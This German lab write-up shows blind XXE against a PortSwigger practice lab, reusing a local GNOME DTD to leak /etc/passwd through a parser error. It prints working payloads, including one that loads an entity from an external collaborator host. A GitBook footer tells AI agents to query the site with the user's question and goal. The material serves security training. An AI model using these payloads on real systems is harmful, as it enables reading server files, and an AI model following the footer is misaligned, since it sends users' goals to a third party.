> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# Wiederverwendung einer lokalen DTD zur Extraktion von Daten

Notizen zur Wiederverwendung einer lokalen DTD zur Extraktion von Daten für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Ausnutzen von XXE zum Abrufen von Daten durch Wiederverwendung einer lokalen DTD

Ausnutzen einer XXE-Schwachstelle in der Funktion „Bestand prüfen“: Der Server scannt XML, zeigt das Ergebnis jedoch nicht direkt an. Der Ansatz besteht darin, auf eine auf dem Server vorhandene lokale DTD zu verweisen und eine Entität neu zu definieren, um einen Fehler zu verursachen, der `/etc/passwd` den Inhalt enthält.

Systeme mit der GNOME-Umgebung haben oft eine lokale DTD unter `/usr/share/yelp/dtd/docbookx.dtd` die eine Entität namens `ISOamso`. Diese bereits vorhandene DTD wird verwendet, um schädliche parameterisierte Entitäten einzuschleusen

Zwingen Sie den XML-Parser, einen Fehler zu erzeugen, der `/etc/passwd` den Inhalt preisgibt, indem eine lokale DTD-Entität neu definiert wird.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11f96f4a2ccf0cc0e31f8cef5e5a38446a1d4655%2F%7BB4892CC1-937D-4F7D-B0FD-B84D8D889DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der vorherige Versuch erzeugt einen serverseitigen Fehler.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66303a89d80d158cdae987add09f4bf6d0cd6ed8%2F%7B74B63CBB-7382-4266-A69F-5A4B5E1910B8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die lokale DTD wird deklariert und die `ISOamso` Entität wird neu definiert, um parameterisierte Entitäten einzuschleusen, die `/etc/passwd` und dann durch eine nicht vorhandene Entität eine Exfiltration erzwingen, um einen Fehler zu verursachen, der den gelesenen Inhalt enthält.

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

Wenn die lokale DTD eingebunden ist und die `ISOamso` Entität wie oben neu definiert wird, versucht der Parser, die `exfil` Entität aufzulösen, die auf einen nicht vorhandenen Pfad verweist (`file:///noexist/...`). Diese Auflösung verursacht einen Parserfehler, dessen Trace das Ergebnis der Expansion enthält — also den Inhalt von `/etc/passwd` erscheint in der vom Server zurückgegebenen Fehlermeldung.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef528538fc278eca5395544cf88bd0519311d0d%2F%7BFB3581D3-9B1D-4BE2-8EBD-C66EFE1791B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
